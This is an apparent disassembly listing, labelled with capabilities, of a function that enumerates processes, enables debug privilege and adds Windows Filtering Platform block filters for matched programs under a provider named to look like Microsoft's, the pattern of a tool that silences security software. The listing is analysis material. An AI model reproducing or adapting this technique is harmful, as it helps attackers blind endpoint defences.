Function at 0x140001629
Capabilities:
Enumerate processes
Register network filter via wfp api

Disassembly:
push rbp
push rdi
sub rsp, 0x528
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x498], 0
mov qword [rbp + 0x468], 0
mov qword [rbp + 0x490], 0
mov qword [rbp + 0x488], 0
lea rdx, [rbp + 0x330]
mov eax, 0
mov ecx, 0x26
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x484], 0
mov dword [rbp + 0x49c], 0
lea rax, [rbp + 0x468]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0xffffffff
mov ecx, 0
call sym.FwpmEngineOpen0
mov dword [rbp + 0x498], eax
cmp dword [rbp + 0x498], 0
jne 0x140001ac0
call sym.EnableSeDebugPrivilege
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0x490], rax
cmp qword [rbp + 0x490], 0xffffffffffffffff
je 0x140001ac3
mov dword [rbp + 0x330], 0x130
lea rdx, [rbp + 0x330]
mov rax, qword [rbp + 0x490]
mov rcx, rax
call sym.Process32First
test eax, eax
jne 0x14000172f
mov rax, qword [rbp + 0x490]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x140001ac4
lea rax, [rbp + 0x330]
add rax, 0x2c
mov rcx, rax
call sym.isInDh
test eax, eax
je 0x140001a67
mov dword [rbp + 0x484], 1
add dword [rbp + 0x49c], 1
mov eax, dword [rbp + 0x338]
mov r8d, eax
mov edx, 0
mov ecx, 0x1000
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x478], rax
cmp qword [rbp + 0x478], 0
je 0x140001a67
lea rdx, [rbp + 0xf0]
mov eax, 0
mov ecx, 0x41
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp + 0x32c], 0x104
pxor xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movq qword [rbp - 0x30], xmm0
lea rdx, [rbp + 0x20]
mov eax, 0
mov ecx, 0x19
mov rdi, rdx
rep stosq qword [rdi], rax
pxor xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x310], 0
mov qword [rbp + 0x318], 0
mov qword [rbp + 0x308], 0
mov qword [rbp + 0x300], 0
mov dword [rbp + 0x474], 0
lea rcx, [rbp + 0x32c]
lea rdx, [rbp + 0xf0]
mov rax, qword [rbp + 0x478]
mov r9, rcx
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameW]
call rax
lea rdx, [rbp + 0x308]
lea rax, [rbp + 0xf0]
mov rcx, rax
call sym.CustomFwpmGetAppIdFromFileName0
mov dword [rbp + 0x474], eax
cmp dword [rbp + 0x474], 0
je 0x1400018b5
cmp dword [rbp + 0x474], 5
ja case.0x14000189a.0
mov eax, dword [rbp + 0x474]
lea rdx, [rax*4]
lea rax, [0x1400151c8]
mov eax, dword [rdx + rax]
cdqe
lea rdx, [0x1400151c8]
add rax, rdx
jmp rax
nop
mov rax, qword [rbp + 0x478]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x140001a67
mov rax, qword [str.Custom_CatDog_Filter]
mov qword [rbp + 0x30], rax
mov dword [rbp + 0x40], 1
mov dword [rbp + 0x60], 0xc38d57d1
mov word [rbp + 0x64], 0x5a7
mov word [rbp + 0x66], 0x4c33
movabs rax, 0x820ee6eebc7f4f90
mov qword [rbp + 0x68], rax
mov dword [rbp + 0xa0], 0x1001
mov dword [rbp - 0x50], 0xd78e1e87
mov word [rbp - 0x4c], 0x8644
mov word [rbp - 0x4a], 0x4ea5
movabs rax, 0x71c9efec09d83794
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x40], 0
mov dword [rbp - 0x38], 0xc
mov rax, qword [rbp + 0x308]
mov qword [rbp - 0x30], rax
lea rax, [rbp - 0x50]
mov qword [rbp + 0x98], rax
mov dword [rbp + 0x90], 1
mov rax, qword [str.Microsoft_Windows_WFP_Built_in_custom_provider.]
lea rdx, [rbp + 0x310]
mov rcx, rax
call sym.GetProviderGUIDByDescription
test eax, eax
je 0x140001968
lea rax, [rbp + 0x310]
mov qword [rbp + 0x48], rax
jmp 0x1400019d2
mov rax, qword [str.Microsoft_Corporation]
mov qword [rbp - 0x10], rax
mov rax, qword [str.Microsoft_Windows_WFP_Built_in_custom_provider.]
mov qword [rbp - 8], rax
mov dword [rbp], 1
mov rax, qword [rbp + 0x468]
lea rdx, [rbp - 0x20]
mov r8d, 0
mov rcx, rax
call sym.FwpmProviderAdd0
mov dword [rbp + 0x498], eax
cmp dword [rbp + 0x498], 0
jne 0x1400019d2
mov rax, qword [str.Microsoft_Windows_WFP_Built_in_custom_provider.]
lea rdx, [rbp + 0x310]
mov rcx, rax
call sym.GetProviderGUIDByDescription
test eax, eax
je 0x1400019d2
lea rax, [rbp + 0x310]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x468]
lea rcx, [rbp + 0x300]
lea rdx, [rbp + 0x20]
mov r9, rcx
mov r8d, 0
mov rcx, rax
call sym.FwpmFilterAdd0
mov dword [rbp + 0x498], eax
mov dword [rbp + 0x60], 0x4a72393b
mov word [rbp + 0x64], 0x319f
mov word [rbp + 0x66], 0x44bc
movabs rax, 0xb4b6b3dc54bac384
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x468]
lea rcx, [rbp + 0x300]
lea rdx, [rbp + 0x20]
mov r9, rcx
mov r8d, 0
mov rcx, rax
call sym.FwpmFilterAdd0
mov dword [rbp + 0x498], eax
mov rax, qword [rbp + 0x308]
mov rcx, rax
call sym.FreeAppId
mov rax, qword [rbp + 0x478]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rdx, [rbp + 0x330]
mov rax, qword [rbp + 0x490]
mov rcx, rax
call sym.Process32Next
test eax, eax
jne 0x14000172f
mov eax, dword [rbp + 0x49c]
mov edx, eax
lea rax, str._d_catz
mov rcx, rax
call sym.printf
mov rax, qword [rbp + 0x490]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x468]
mov rcx, rax
call sym.FwpmEngineClose0
jmp 0x140001ac4
nop
jmp 0x140001ac4
nop
add rsp, 0x528
pop rdi
pop rbp
ret